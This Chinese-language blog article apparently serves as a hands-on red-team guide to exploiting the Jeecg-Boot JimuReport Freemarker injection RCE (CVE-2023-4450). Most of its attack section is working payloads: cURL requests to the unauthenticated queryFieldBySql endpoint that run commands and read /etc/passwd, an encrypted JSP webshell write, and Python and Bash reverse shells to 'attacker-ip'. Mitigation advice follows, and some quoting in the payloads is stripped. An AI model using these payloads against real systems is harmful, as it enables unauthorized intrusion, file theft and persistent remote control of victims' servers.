手把手复现Jeecg-Boot积木报表RCE漏洞(CVE-2023-4450),从发现到getshell

发布时间:2026/5/21 5:32:37

手把手复现Jeecg-Boot积木报表RCE漏洞(CVE-2023-4450),从发现到getshell 实战剖析Jeecg-Boot积木报表RCE漏洞的攻防全链条在当今企业级快速开发平台中Jeecg-Boot因其高效便捷的特性被广泛应用。然而2023年曝光的CVE-2023-4450漏洞却给使用积木报表(JimuReport)组件的系统带来了严重威胁。本文将从一个红队工程师的视角完整还原从资产发现到权限获取的全过程同时深入探讨防御策略。1. 漏洞环境快速搭建与验证对于希望研究此漏洞的安全从业者来说搭建一个可控制的测试环境是第一步。推荐使用Docker快速部署受影响版本的Jeecg-Boot环境docker pull jeecgboot/jeecg-boot:1.6.0 docker run -d -p 8080:8080 --name jeecg-boot-vuln jeecgboot/jeecg-boot:1.6.0验证环境是否正常运行curl -I http://localhost:8080/jeecg-boot/漏洞核心原理该漏洞源于未授权接口/jmreport/queryFieldBySql直接接收用户输入的SQL语句并通过Freemarker模板引擎解析。攻击者可以构造特殊的Freemarker表达式实现远程代码执行。2. 漏洞发现与初步利用在真实场景中安全工程师通常会通过以下方式发现潜在目标资产测绘使用FOFA等引擎搜索appJeecg-Boot 企业级快速开发平台版本识别访问/jeecg-boot/doc.html查看Swagger文档接口探测检查/jeecg-boot/jmreport/queryFieldBySql是否存在基础验证Payload执行whoami命令{ sql: select #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\whoami\) } }使用cURL测试curl -X POST http://target.com/jeecg-boot/jmreport/queryFieldBySql \ -H Content-Type: application/json \ -d {sql:select \#assign ex\freemarker.template.utility.Execute\?new() ${ ex(\whoami\) }\}3. 高级利用技巧与权限提升基础命令执行只是开始真正的攻防演练需要考虑更实际的利用场景。3.1 文件系统操作列出当前目录{sql:select #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\ls -la\) }}读取敏感文件如/etc/passwd{sql:select #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\cat /etc/passwd\) }}3.2 Webshell写入通过echo命令写入JSP Webshell{ sql: select #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\echo %page import\\\java.util.*,javax.crypto.*,javax.crypto.spec.*\\\%%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%%if(request.getParameter(\\\pass\\\)!null){String k\\\\\\UUID.randomUUID();session.putValue(\\\u\\\,k);out.print(k);return;}Cipher cCipher.getInstance(\\\AES\\\);c.init(2,new SecretKeySpec((session.getValue(\\\u\\\)\\\\\\).getBytes(),\\\AES\\\));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter(\\\cmd\\\)))).newInstance().equals(pageContext);% webapps/ROOT/cmd.jsp\) } }3.3 反弹Shell技术由于目标环境可能没有nc等工具可以考虑使用多种反弹Shell方式Python反弹Shell{ sql: select #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\python -c \\\import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\attacker-ip\\\,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([\\\/bin/sh\\\,\\\-i\\\]);\\\\) } }Bash反弹Shell{ sql: select #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\bash -c \\\bash -i /dev/tcp/attacker-ip/4444 01\\\\) } }4. 防御策略与加固建议对于企业安全团队来说了解攻击手法后更应关注如何防御此类漏洞。4.1 紧急缓解措施立即升级JimuReport组件至1.6.1或更高版本在WAF/网关层拦截对/jmreport/queryFieldBySql的未授权访问实施网络隔离限制Jeecg-Boot管理界面的访问来源4.2 长期安全加固代码层防护// 示例接口权限校验注解 RequiresPermissions(jmreport:query:sql) PostMapping(/queryFieldBySql) public Result? queryFieldBySql(RequestBody JSONObject jsonObject) { // 增加SQL语句安全检查 String sql jsonObject.getString(sql); if (containsMaliciousContent(sql)) { return Result.error(SQL语句包含可疑内容); } // ...原有逻辑 }架构安全建议实施最小权限原则Jeecg-Boot应用使用非root用户运行定期进行安全扫描和渗透测试建立完善的日志监控体系关注异常接口调用5. 漏洞挖掘的思考与方法论这个漏洞的发现过程体现了几个重要的安全研究思路未授权接口审计开发人员常常忽略对管理功能接口的权限校验模板注入检测任何使用模板引擎处理用户输入的地方都值得怀疑参数污染测试尝试通过各个参数传递恶意payload在最近的一次内部红队演练中我们发现即使打了补丁的系统如果配置不当仍然可能存在风险。例如某个客户升级了组件但未重启服务导致漏洞依然可利用。

相关新闻